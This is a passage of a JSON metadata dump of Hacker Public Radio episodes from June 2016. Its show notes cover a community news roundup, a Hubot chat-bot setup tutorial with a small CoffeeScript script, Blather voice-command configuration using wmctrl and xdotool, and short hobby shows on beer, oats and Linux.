                                                            I have written out a moderately long set of notes about this subject and these are available by following this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,expansion,process substitution, word splitting","version":0,"downloads":0,"valid":1}, {"id":2046,"date":"2016-06-06","title":"HPR Community News for May 2016","duration":4534,"summary":"HPR Community News for May 2016","notes":"

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Bitbox, \n njulian, \n schism, \n pope523, \n Steve Saner, \n matthew, \n Lyle Lastinger.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2021Mon2016-05-02HPR Community News for April 2016HPR Volunteers
                                                            2022Tue2016-05-03Whats in my bagBitbox
                                                            2023Wed2016-05-04Setting up my Raspberry Pi 3Dave Morriss
                                                            2024Thu2016-05-05Remapping Keys with xmodmapJon Kulp
                                                            2025Fri2016-05-06Using a Smarphone as a microphonenjulian
                                                            2026Mon2016-05-09What's in my Bag... Again!Christopher M. Hobbs
                                                            2027Tue2016-05-10Old Engineers and New EngineersGabriel Evenfire
                                                            2028Wed2016-05-11Some basic info on alarm systemsschism
                                                            2029Thu2016-05-12The DSO138 Oscilloscope KitNYbill
                                                            2030Fri2016-05-13Book Review: The Pocket Refm1rr0r5h4d35
                                                            2031Mon2016-05-16A quick intro to OBD2 with Androidpope523
                                                            2032Tue2016-05-17How I Came to LinuxSteve Saner
                                                            2033Wed2016-05-18Distro Review: Bodhi Linuxm1rr0r5h4d35
                                                            2034Thu2016-05-19Frank's Five Seed BreadFrank Bell
                                                            2035Fri2016-05-20Building Communitydroops
                                                            2036Mon2016-05-23Glasgow Podcrawl 2016Dave Morriss
                                                            2037Tue2016-05-24Alpha32's Pinhead OatsAlpha32
                                                            2038Wed2016-05-25Attempting to fix a plastic boatJezra
                                                            2039Thu2016-05-26Blather Configuration Part 0: Initial SetupJon Kulp
                                                            2040Fri2016-05-27Why I Use Linuxmatthew
                                                            2041Mon2016-05-30Router Antennas More = better ?Lyle Lastinger
                                                            2042Tue2016-05-31My podcast listjanedoc
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-04-05 20:20:08 +0200
                                                              \n Subject: Call for shows
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1160
                                                              \n Messages: 2

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-05-07 17:17:26 +0200
                                                              \n Subject: HPR Policy Change - HTML default in RSS Feed
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1197
                                                              \n Messages: 24

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-05-08 11:30:50 +0200
                                                              \n Subject: HPR On Goggle Play
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1205
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: Mike Ray <mike@...>
                                                              \n Date: 2016-05-10 08:41:34 +0100
                                                              \n Subject: Libre Office Calc - closing the docked styles dialog with the keyboard
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1206
                                                              \n Messages: 4

                                                            8. \n
                                                            9. From: Venant <venant@...>
                                                              \n Date: 2016-05-10 23:07:52 -0400
                                                              \n Subject: Re: Libre Office Calc - closing the docked styles dialog with\tthe keyboard
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1217
                                                              \n Messages: 2

                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-05-24 14:20:42 +0200
                                                              \n Subject: HPR Short listed for the The People's Choice Podcast Awards
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1228
                                                              \n Messages: 6

                                                            12. \n
                                                            13. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-05-25 15:56:03 +0200
                                                              \n Subject: Fwd: Ohio LinuxFest 2016 Call for Presentations
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1232
                                                              \n Messages: 1

                                                            14. \n
                                                            15. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-05-28 09:35:37 +0200
                                                              \n Subject: Site Changes to fix Navigation
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1235
                                                              \n Messages: 1

                                                            16. \n
                                                            17. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-05-30 09:48:04 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2016-06-04T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1238
                                                              \n Messages: 1
                                                            18. \n
                                                            \nTotal messages this month: 42
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 57 comments:

                                                            \n
                                                              \n
                                                            • hpr1580\n(2014-08-22) \"The FAT and NTFS File Systems\"\nby JWP.\n
                                                              • Comment 1:\nRamiro on 2016-05-05:\n\"FAT, FAT32\"
                                                              • Comment 2:\nDave Morriss on 2016-05-06:\n\"Title change\"
                                                              • Comment 3:\nKen Fallon on 2016-05-08:\n\"Done\"
                                                              • \n

                                                            • \n
                                                            • hpr1967\n(2016-02-16) \"How I saw the Linux Light at the end of the Windows tunnel\"\nby Nacho Jordi.\n
                                                              • Comment 1:\nWindigo on 2016-05-15:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1976\n(2016-02-29) \"Introduction to sed - part 1\"\nby Dave Morriss.\n
                                                              • Comment 3:\nFrank on 2016-05-26:\"[no title]\"
                                                              • Comment 4:\nDave Morriss on 2016-05-26:\n\"Good luck with regex\"
                                                              • \n

                                                            • \n
                                                            • hpr2007\n(2016-04-12) \"My new laptop\"\nby Dave Morriss.\n
                                                              • Comment 4:\nDave Morriss on 2016-05-02:\n\"Thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr2008\n(2016-04-13) \"HPR needs shows to survive.\"\nby Ken Fallon.\n
                                                              • Comment 4:\nFrank on 2016-05-01:\n\"I don't quite get it\"
                                                              • Comment 5:\nKen Fallon on 2016-05-02:\n\"Because it was\"
                                                              • \n

                                                            • \n
                                                            • hpr2009\n(2016-04-14) \"Understanding the GNU/Screen Hardstatus line\"\nby Curtis Adkins (CPrompt^).\n
                                                              • Comment 2:\nEric Suess on 2016-05-03:\n\"Thank you.\"
                                                              • \n

                                                            • \n
                                                            • hpr2010\n(2016-04-15) \"Parsing JSON with Python\"\nby klaatu.\n
                                                              • Comment 3:\nrstackhouse on 2016-05-24:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2015\n(2016-04-22) \"Linux in the Church\"\nby Joe.\n
                                                              • Comment 3:\nTodd on 2016-05-11:\n\"Great show!\"
                                                              • \n

                                                            • \n
                                                            • hpr2016\n(2016-04-25) \"Echoprint\"\nby laindir.\n
                                                              • Comment 2:\nlaindir on 2016-05-23:\n\"Late\"
                                                              • \n

                                                            • \n
                                                            • hpr2019\n(2016-04-28) \"a pi project and an owncloud project\"\nby Matt McGraw (g33kdad).\n
                                                              • Comment 3:\nMatt (g33kdad) on 2016-05-07:\n\"Thanks, John\"
                                                              • \n

                                                            • \n
                                                            • hpr2020\n(2016-04-29) \"Automotive Billing\"\nby brian.\n
                                                              • Comment 2:\nJon Kulp on 2016-04-30:\n\"Awesome! \"
                                                              • Comment 3:\nJimZat on 2016-05-02:\n\"Honest Auto Mechanics\"
                                                              • Comment 4:\nmysterio2 on 2016-05-05:\"[no title]\"
                                                              • Comment 5:\nTodd on 2016-05-25:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2021\n(2016-05-02) \"HPR Community News for April 2016\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nMatt (g33kdad) on 2016-05-09:\n\"Thanks!\"
                                                              • Comment 2:\nDave Morriss on 2016-05-11:\n\"Great!\"
                                                              • \n

                                                            • \n
                                                            • hpr2022\n(2016-05-03) \"Whats in my bag\"\nby Bitbox.\n
                                                              • Comment 1:\nJon Kulp on 2016-05-03:\n\"What's in your cab?\"
                                                              • Comment 2:\nJWP on 2016-05-04:\n\"Great Podcast\"
                                                              • Comment 3:\nChristopher M. Hobbs on 2016-05-07:\n\"Tell us about truckin'!\"
                                                              • \n

                                                            • \n
                                                            • hpr2023\n(2016-05-04) \"Setting up my Raspberry Pi 3\"\nby Dave Morriss.\n
                                                              • Comment 1:\nMike Ray on 2016-05-04:\n\"Pi3 in a Metal Box\"
                                                              • Comment 2:\nJWP on 2016-05-04:\n\"GNU Nano Editor\"
                                                              • Comment 3:\nDave Morriss on 2016-05-04:\n\"Faraday cage, Pibow and Nano\"
                                                              • Comment 4:\nMike Ray on 2016-05-07:\n\"Metal boxes and Emacs\"
                                                              • Comment 5:\nBeeza on 2016-05-16:\n\"Alternative Pi Server Setup\"
                                                              • Comment 6:\nDave Morriss on 2016-05-16:\n\"SSHFS; SSD\"
                                                              • \n

                                                            • \n
                                                            • hpr2024\n(2016-05-05) \"Remapping Keys with xmodmap\"\nby Jon Kulp.\n
                                                              • Comment 1:\nMr. Young on 2016-05-05:\n\"Interesting approach\"
                                                              • Comment 2:\nDave Morriss on 2016-05-30:\n\"Nice idea\"
                                                              • \n

                                                            • \n
                                                            • hpr2027\n(2016-05-10) \"Old Engineers and New Engineers\"\nby Gabriel Evenfire.\n
                                                              • Comment 1:\nSteve Saner on 2016-05-10:\"[no title]\"
                                                              • Comment 2:\nGabriel Evenfire on 2016-05-13:\n\"Glad you liked it\"
                                                              • Comment 3:\nDave Morriss on 2016-05-30:\n\"A most interesting show\"
                                                              • \n

                                                            • \n
                                                            • hpr2028\n(2016-05-11) \"Some basic info on alarm systems\"\nby schism.\n
                                                              • Comment 1:\nFrank on 2016-05-13:\"[no title]\"
                                                              • Comment 2:\nBill on 2016-05-23:\"[no title]\"
                                                              • Comment 3:\nFrank on 2016-05-24:\"[no title]\"
                                                              • Comment 4:\nTodd on 2016-05-25:\"[no title]\"
                                                              • Comment 5:\nDave Morriss on 2016-05-30:\n\"Interesting subject\"
                                                              • \n

                                                            • \n
                                                            • hpr2029\n(2016-05-12) \"The DSO138 Oscilloscope Kit\"\nby NYbill.\n
                                                              • Comment 1:\nDave Morriss on 2016-05-30:\n\"Was tempted to get one\"
                                                              • \n

                                                            • \n
                                                            • hpr2030\n(2016-05-13) \"Book Review: The Pocket Ref\"\nby m1rr0r5h4d35.\n
                                                              • Comment 1:\nFrank on 2016-05-13:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2032\n(2016-05-17) \"How I Came to Linux\"\nby Steve Saner.\n
                                                              • Comment 1:\nPeri Saner on 2016-05-17:\n\"Wife\"
                                                              • Comment 2:\nJonathan Kulp on 2016-05-17:\n\"Bring on the rockets\"
                                                              • Comment 3:\nNYbill on 2016-05-18:\n\"The old gray beards in the basement.\"
                                                              • Comment 4:\nDave Morriss on 2016-05-30:\n\"Really enjoyed this\"
                                                              • \n

                                                            • \n
                                                            • hpr2034\n(2016-05-19) \"Frank's Five Seed Bread\"\nby Frank Bell.\n
                                                              • Comment 1:\nFrank on 2016-05-18:\"[no title]\"
                                                              • Comment 2:\nFrank on 2016-05-20:\"[no title]\"
                                                              • Comment 3:\nDave Morriss on 2016-05-30:\n\"Must try this, or a modification thereof\"
                                                              • \n

                                                            • \n
                                                            • hpr2035\n(2016-05-20) \"Building Community\"\nby droops.\n
                                                              • Comment 1:\nTony Hughes on 2016-05-20:\n\"building community\"
                                                              • Comment 2:\ndroops on 2016-05-20:\n\"Tech Podcasts\"
                                                              • Comment 3:\nDave Morriss on 2016-05-20:\n\"Show tags\"
                                                              • Comment 4:\nTony Hughes on 2016-05-20:\n\"Building Comunity\"
                                                              • Comment 5:\namunizp on 2016-05-22:\n\"app\"
                                                              • \n

                                                            • \n
                                                            • hpr2037\n(2016-05-24) \"Alpha32's Pinhead Oats\"\nby Alpha32.\n
                                                              • Comment 1:\nDave Morriss on 2016-05-26:\n\"Cooking! Yay!\"
                                                              • \n

                                                            • \n
                                                            • hpr2038\n(2016-05-25) \"Attempting to fix a plastic boat\"\nby Jezra.\n
                                                              • Comment 1:\nJon Kulp on 2016-05-24:\n\"Hilarious\"
                                                              • Comment 2:\nDennis New on 2016-05-27:\n\"Hilarious Indeed\"
                                                              • Comment 3:\nFiftyOneFifty on 2016-05-28:\n\"Good Times\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2047,"date":"2016-06-07","title":"Neo Fetch 1.5","duration":173,"summary":"Neofetch is a console command displaying system information","notes":"

                                                            I was reading Linux Voice I heard Dave Morriss talking about shows and made a sort one about Neofetch 1.5. Its a command that displays system information.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux Voice, Linux command, Neofetch 1.5","version":0,"downloads":0,"valid":1}, {"id":2048,"date":"2016-06-08","title":"The Hubot chat-bot","duration":1316,"summary":"An introduction to the Hubot chat-bot","notes":"

                                                            Hubot

                                                            \n

                                                            Intro

                                                            \n

                                                            Hubot is a chat-bot written by the folks at GitHub. It is a node.js application written in CoffeeScript.

                                                            \n

                                                            Hubot has a variety of adapters that allow it to connect to a variety of chat platforms. These range from IRC to Slack. So, the platform\nyou are interested in probably already has an adapter available for it.

                                                            \n

                                                            Hubot uses individual CoffeeScript scripts to provide chat-bot functionality. There are a slew of existing scripts available in the npm. Just search for hubot-scripts.

                                                            \n

                                                            You can also write your own in order to make sure that Hubot provides the functionality that you need.

                                                            \n

                                                            Install

                                                            \n

                                                            Hubot is available as an npm package. So, you will need to install node.js and npm on your system. I will leave this as an exercise for the listener.

                                                            \n

                                                            I will however, throw out a tip for those of you using a Raspberry Pi for this. The node.js platform should be deployed on an ARM system using the armhf (ARM hard float) architecture. The nod\ne.js stack needed to run Hubot will not properly install if you are using the armel (ARM soft float) architecture.

                                                            \n

                                                            Once you have node.js and npm installed, you can install hubot and its dependencies with the following command.

                                                            \n
                                                            npm install -g hubot yo generator-hubot coffee-script
                                                            \n

                                                            You create your own instance of hubot by using yeoman generator. You need to do this as a non-root user. When you create your bot, you will give it a name and\nspecify the adapter to use. These can be specified as command line flags, or the generator will prompt you for this information.

                                                            \n
                                                              \n
                                                            • Owner
                                                            • \n
                                                            • Name
                                                            • \n
                                                            • Description
                                                            • \n
                                                            • Adapter
                                                            • \n
                                                            \n

                                                            Interactive

                                                            \n
                                                            yo hubot
                                                            \n

                                                            Providing the answers

                                                            \n
                                                            yo hubot --name mybot --description "My Helpful Robot" --adapter shell --defaults
                                                            \n

                                                            Running

                                                            \n

                                                            Once hubot is installed, you can run it with the following. I will use the shell adapter, which provides an interactive shell from which to trigger hubot scripts.

                                                            \n
                                                            ./bin/hubot --adapter shell
                                                            \n

                                                            Our Hubot instance is now active and ready to receive commands. We will start with a simple ping command.

                                                            \n
                                                            mybot> mybot ping\nmybot> PONG
                                                            \n

                                                            We can see the available commands by asking Hubot for help

                                                            \n
                                                            mybot> mybot help\nmybot adapter - Reply with the adapter\nmybot animate me <query> - The same thing as `image me`, except adds a few parameters to try to return an animated GIF instead.\nmybot echo <text> - Reply back with <text>\nmybot help - Displays all of the help commands that Hubot knows about.\nmybot help <query> - Displays all help commands that match <query>.\nmybot image me <query> - The Original. Queries Google Images for <query> and returns a random top result.\nmybot map me <query> - Returns a map view of the area returned by `query`.\nmybot mustache me <url|query> - Adds a mustache to the specified URL or query result.\nmybot ping - Reply with pong\nmybot pug bomb N - get N pugs\nmybot pug me - Receive a pug\nmybot the rules - Make sure hubot still knows the rules.\nmybot time - Reply with current time\nmybot translate me <phrase> - Searches for a translation for the <phrase> and then prints that bad boy out.\nmybot translate me from <source> into <target> <phrase> - Translates <phrase> from <source> into <target>. Both <source> and <target> are optional\nship it - Display a motivation squirrel
                                                            \n

                                                            We will try a couple more.

                                                            \n
                                                            mybot> mybot echo "Hello world"\n"Hello world"\nmybot> mybot the rules\n0. A robot may not harm humanity, or, by inaction, allow humanity to come to harm.\n1. A robot may not injure a human being or, through inaction, allow a human being to come to harm.\n2. A robot must obey any orders given to it by human beings, except where such orders would conflict with the First Law.\n3. A robot must protect its own existence as long as such protection does not conflict with the First or Second Law.
                                                            \n

                                                            Adding Scripts

                                                            \n

                                                            npm scripts

                                                            \n
                                                            npm install hubot-simpsons
                                                            \n

                                                            Add hubot-simpsons to the array in the external-scripts.json file.

                                                            \n
                                                            mybot> mybot simpsons quote\nmybot> Disco Stu⦠likes disco.
                                                            \n

                                                            Writing scripts

                                                            \n

                                                            https://github.com/github/hubot/blob/master/docs/scripting.md

                                                            \n

                                                            You can add your own custom scripts by adding them to the scripts directory. An examples.coffee script was included when Hubot was installed. It includes a variety of examples of things Hubot can do. I will illustrate by paring this down to a simple single script that responds to requests to open doors. Our simple script will open most doors, but will politely refuse to open the 'pod bay' doors.

                                                            \n

                                                            The script uses the respond method on the robot module. This method takes a regex patten to respond to. It returns a result that contains a match array when the pattern has been detected. In our script we capture the group between 'onen the' and 'doors'. We then use this to determine which response to provide. The response is triggered with the robots reply method.

                                                            \n
                                                            module.exports = (robot) ->\n\n robot.respond /open the (.*) doors/i, (res) ->\n   doorType = res.match[1]\n   if doorType is "pod bay"\n     res.reply "I'm afraid I can't let you do that."\n   else\n     res.reply "Opening #{doorType} doors"
                                                            \n

                                                            Restart Hubot by...

                                                            \n

                                                            Now we can use our new, useful Hubot script.

                                                            \n
                                                            mybot> mybot open the french doors\nmybot> Shell: Opening french doors\nmybot> mybot open the pod bay doors\nmybot> Shell: I'm afraid I can't let you do that.
                                                            \n

                                                            Aliases

                                                            \n

                                                            A rose by any other name... If you would like your Hubot to respond to another name, you can assign your Hubot aliases to respond to. I really like this feature and I assign the '!' as my Hubot alias. This allows me to invoke Hubot with a single character.

                                                            \n
                                                            mybot> ! open the pod bay doors\nmybot> Shell: I'm afraid I can't let you do that.
                                                            \n

                                                            Adapters

                                                            \n

                                                            Obviously the shell adapter is not very useful aside from allowing us to play with or develop Hubot scripts. Hubot comes with several adapters that allow it to integrate with existing chat systems. These include: * IRC * XMPP * Campfire * HipChat * Slack * IRC * IRC

                                                            \n

                                                            Conclusion

                                                            \n

                                                            I hope this gives you a sense of what Hubot can do and how you can utilize it. Personally, I use Hubot in a variety of ways ranging from silly entertainment to useful communication tool. Using the eight-ball script, I can see if I will have a good day.

                                                            \n
                                                            mybot> mybot eight-ball Will I have a good day?\nmybot> Shell: Most certainly!\nmybot> :-)
                                                            \n

                                                            Using a modified version of of the sms script, I can send text messages to my family members who are not available online.

                                                            \n
                                                            mybot> mybot sms trinity   See you on the other side!\nmybot> Shell: Sent sms to 3125550690\nmybot> :-)
                                                            \n","hostid":277,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hubot chat bot","version":0,"downloads":0,"valid":1}, {"id":2049,"date":"2016-06-09","title":"My Raspberry Pi Home Server","duration":1524,"summary":"Knightwise talks about how he uses his Raspberry Pi to get things done.","notes":"

                                                            Knightwise talks about how he uses his Raspberry Pi to get things done, and keep his connection to the Internet secure and private when he's away from home. He also discusses a number of command line tools that he uses on the Pi which help to keep the workflow simple and clutter-free.

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberry pi, foss, productivity, vpn, command line, cli","version":0,"downloads":0,"valid":1}, {"id":2050,"date":"2016-06-10","title":"Developing Black & White Film","duration":964,"summary":"Black and white film is actually pretty easy to develop. Follow along as I do so.","notes":"
                                                              \n
                                                            • Intro to the film and the chemicals used
                                                            • \n
                                                            • Mixing chemicals with water
                                                            • \n
                                                            • Load developing tank with film
                                                            • \n
                                                            • Live recording of the developing process itself.
                                                            • \n
                                                            \n","hostid":337,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Photography","version":0,"downloads":0,"valid":1}, {"id":2051,"date":"2016-06-13","title":"My Linux Journey","duration":709,"summary":"This is a short show where I talk about how I started to use Linux","notes":"
                                                              \n
                                                            • 0.00 Introduction

                                                            • \n
                                                            • 0.40 Computer History

                                                            • \n
                                                            • 6.25 Linux and Freecycle

                                                            • \n
                                                            • 8.50 Current PC and Distro

                                                            • \n
                                                            • 9.10 Helping/converting others

                                                            • \n
                                                            \n","hostid":338,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Windows 3.1,Windows 95,Windows 98,Xubuntu,Windows XP,Freespire,Ubuntu,LibreOffice,Linux Mint","version":0,"downloads":0,"valid":1}, {"id":2052,"date":"2016-06-14","title":"A Nerdy Conversation With Linden About Technology","duration":2429,"summary":"In this episode of HPR sigflup interviews Linden who specializes in databases.","notes":"

                                                            In this episode of HPR sigflup interviews Linden who specializes in databases. The subject of this interview varies wildly. All the way from databases to python and arch linux

                                                            \n

                                                            \nYou can contact Linden on twitter at @tesherista\n

                                                            ","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"MySQL, SQLite, R, C, Python, Logo, Arch ","version":0,"downloads":0,"valid":1}, {"id":2053,"date":"2016-06-15","title":"My 2nd HPR Beer Podcast","duration":132,"summary":"Describing the taste of beers I've tried","notes":"

                                                            Hi everyone,

                                                            \n

                                                            It's MeToo here again recording for HPR with a follow on beer tasting podcast. Let me first apologize for the audio quality of this and the next eleven beer podcasts. They were all recorded live on my phone in the Nobody Knows Bar, so there is a bit of a background noise. I just hope it's not too distracting.

                                                            \n

                                                            The following twelve beer podcasts were recorded over a period of several months. A couple of them, even though they were recorded at the same \"sitting\", I've chosen to break up into several podcasts, just so as to add more podcasts to HPR.

                                                            \n

                                                            In a few cases, it's obvious that I get a little tongue tied. Please forgive me. I normally tend to just have one beer per sitting, but the beer is so good and I'm with friends, and as such have had more than one per sitting at those times.

                                                            \n

                                                            But enough of the explanations and apologies. Let's get on to the heart of the podcast: my impressions of several beers.

                                                            \n

                                                            One more thing before we start. The beer in this podcast is Old Foghorn. I mislabeled it in the recording as Old Fog.

                                                            \n

                                                            \n\n\"hand\n\n

                                                            \n

                                                            [Audio from pre-recorded report]

                                                            \n

                                                            Well. there you have it. Not one of my better recordings. But I hope you liked it nonetheless.

                                                            \n

                                                            So, this is MeToo here signing out until next time, wishing you happy trails and happy beers.

                                                            \n","hostid":313,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"beer tasting","version":0,"downloads":0,"valid":1}, {"id":2054,"date":"2016-06-16","title":"Blather Configuration Part 1: Desktop Management","duration":1496,"summary":"Blather Configuration Part 1: Desktop Management","notes":"\n

                                                            Blather Configuration Part 1: Desktop Management

                                                            \n\n

                                                            In this episode I show how to start adding more commands, how to use the language updater script, and how to start doing some basic desktop navigation. I'll show you how to open and quit applications, and how to switch from one application to another using your voice.

                                                            \n\n

                                                            For information about installing blather for the first time, as well as the startup script that I use, please refer to episode 0 of this series, which has examples and links for this stuff.

                                                            \n\n

                                                            To start using the language updater script, you need to move it or copy it from the blather source code directory into your path (e.g. ~/bin/). To add new commands you will have to edit the main command configuration file:

                                                            \n\n
                                                            ~/.config/blather/commands.conf
                                                            \n\n

                                                            Commands are configured in a \"key: value\" pair, where the key is what you wish to say, and the value is the command that will be executed when you say it. We will start out with some very basic ones, but these can be as elaborate as your imagination and scripting skills will allow. You can execute built-in system commands, or you can write your own scripts that will be executed upon the voice command.

                                                            \n\n

                                                            Here's an example of a basic desktop application command set:

                                                            \n\n\n
                                                            OPEN CHROMIUM: chromium &\nGO TO CHROMIUM: wmctrl -a \"google chrome\"\nQUIT CHROMIUM: wmctrl -c \"google chrome\"\n
                                                            \n\n

                                                            The first command launches Chromium, the second one will switch focus to Chromium when you are currently in another program, and the third one closes Chromium. This makes use of the command line tool wmctrl, which is a very handy window management tool. The wmctrl -a command chooses which window to put focus on (or close) based on the window title, which in the commands above is given in quotation marks. There are many options to how wmctrl can find windows and take actions, but for now we will just use this basic option.

                                                            \n\n

                                                            Once you have one command set of this kind working as you like, it's very easy to set up additional command sets for all of the desktop applications you use most often.

                                                            \n\n

                                                            Some applications are more difficult to handle than others. For example media players typically change the window title based on which track is playing. This makes it impossible to use the static window title option above, so I resort to a bit of scripting to help it find the right window to put focus on or close:

                                                            \n\n
                                                            OPEN clementine: clementine &\nGO TO clementine: rid=$(pgrep clementine -u $(whoami) |head -n 1) && rwinname=$(wmctrl -lp |grep $rid |sed -e \"s/.*$rid * //\" | sed -e \"s/$(hostname) //\") && wmctrl -a \"$rwinname\"\n
                                                            \n\n

                                                            Opening the music player is easy. Switching to it is something else. To make this work I first find the process ID of the Clementine music player, and then I use the wmctrl list command to list all of the windows that are open and I grep for the process ID that I found in the first part. Then I extract the window name from that command's output and use the result inside quotation marks in the very last command to change Focus to that window. Whew!

                                                            \n\n

                                                            One last basic desktop navigation command for this episode. This is one that I use probably more than any other command. What it achieves is the alt + Tab Key stroke, which switches Focus to the previous window. Here's how I do it:

                                                            \n\n
                                                            \nBACK FLIP: xdotool key alt+Tab\n
                                                            \n\n

                                                            This makes use of the wonderful xdotool package to execute a virtual keystroke. Magic!

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Accessibility, speech recognition, linux, scripting","version":0,"downloads":0,"valid":1}, {"id":2055,"date":"2016-06-17","title":"GNU Nano Editor","duration":422,"summary":"Why GNU Nano is a real Text Editor and Simple Word Processor","notes":"

                                                            I recently heard an HPR Podcast where it was mentioned that Nano was not a real text editor. That somehow VI or Emacs or Kate or Gedit were in some way better than Nano. I just wanted to set the record straight that Nano is a serious editor that has a huge following and a facebook page.

                                                            \n\n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"editor,GNU Nano,Vi,Vim,Emacs,Kate,Gedit","version":0,"downloads":0,"valid":1}, {"id":2056,"date":"2016-06-20","title":"Interview with a young hacker","duration":271,"summary":"This is a short interview with a young member of my makerspace and local Raspberry Jam","notes":"

                                                            The following interview is with a young member of the Maker Space and Raspberry Pi community here in the North West of the UK.

                                                            \n

                                                            You can find more of Josh's work at:
                                                            \nhttps://allaboutcode.wix.com/home

                                                            \n

                                                            Blackpool Makerspace and LUG
                                                            \nhttps://blackpoolmakerspace.wordpress.com/

                                                            \n

                                                            Blackpool Raspberry Jam
                                                            \nhttps://blackpoolraspberryjam.co.uk/

                                                            \n

                                                            Links

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interview,maker,makerspace,Blackpool,soldering,electronics,Python,EduPython,Open SUSE","version":0,"downloads":0,"valid":1}, {"id":2057,"date":"2016-06-21","title":"dodddummy on oats","duration":375,"summary":"How I 'cook' steel cut oats","notes":"

                                                            https://www.betteroats.com/brand/oat-revolution-steel-cut-oats/

                                                            \n","hostid":151,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"cooking,Steel-Cut Oats,Pinhead Oats,oats","version":0,"downloads":0,"valid":1}, {"id":2058,"date":"2016-06-22","title":"My 14th Beer Podcast","duration":415,"summary":"Talking about Troegs Brewery's Java Head Beer","notes":"

                                                            \nThis is my 14th Beer Podcast. I know. I know. I've only put two (2) up online so far. But trust me, the other ten (10) are coming. This one's just out of sequence is all.\n

                                                            \n

                                                            \nOh, yeah. A little other morsel/tidbit for those of you inclined to brew your own. Go to https://www.brewdog.com/diydog and download BrewDog's DIY Dog pdf of all of their brews/beers.\n

                                                            \n

                                                            \nYou ask, who's BrewDog? Well, they're two guys and a dog, who in 2005, began home brewing in a garage in North-Eastern Scotland. Two years and countless successes & failures later, BrewDog came howling into the world. Eight years after that - and more than 200 different beers later - they've released the recipe and story behind every single one of those brews.\n

                                                            \n

                                                            \n\"Picture\n

                                                            \n

                                                            \nSo, if you've ever wanted to try to brew your own, here's another reason to start.\n

                                                            \n","hostid":313,"series":14,"explicit":1,"license":"CC-BY-SA","tags":"Beer Tasting","version":0,"downloads":0,"valid":1}, {"id":2059,"date":"2016-06-23","title":"More Tech, Less Magic","duration":992,"summary":"More Tech, Less Magic","notes":"

                                                            This was my first show for HPR! I wanted to offer up something unique–hopefully not too much so to enjoy.

                                                            \n

                                                            In this episode I talk a bit about the differences between how my son will grow up with gaming technology, and how I did. There’s a lot of nostalgia, a little humor, and also a bit of language.

                                                            \n

                                                            All in-show music was created by me.

                                                            ","hostid":339,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"gaming, software development, hobbies","version":0,"downloads":0,"valid":1}, {"id":2060,"date":"2016-06-24","title":"Introduction to sed - part 5","duration":2889,"summary":"Finishing covering sed commands. Looking at some example scripts","notes":"

                                                            Introduction to sed - part 5

                                                            \n

                                                            This episode is the last one in the \"Introduction to sed\" series.

                                                            \n

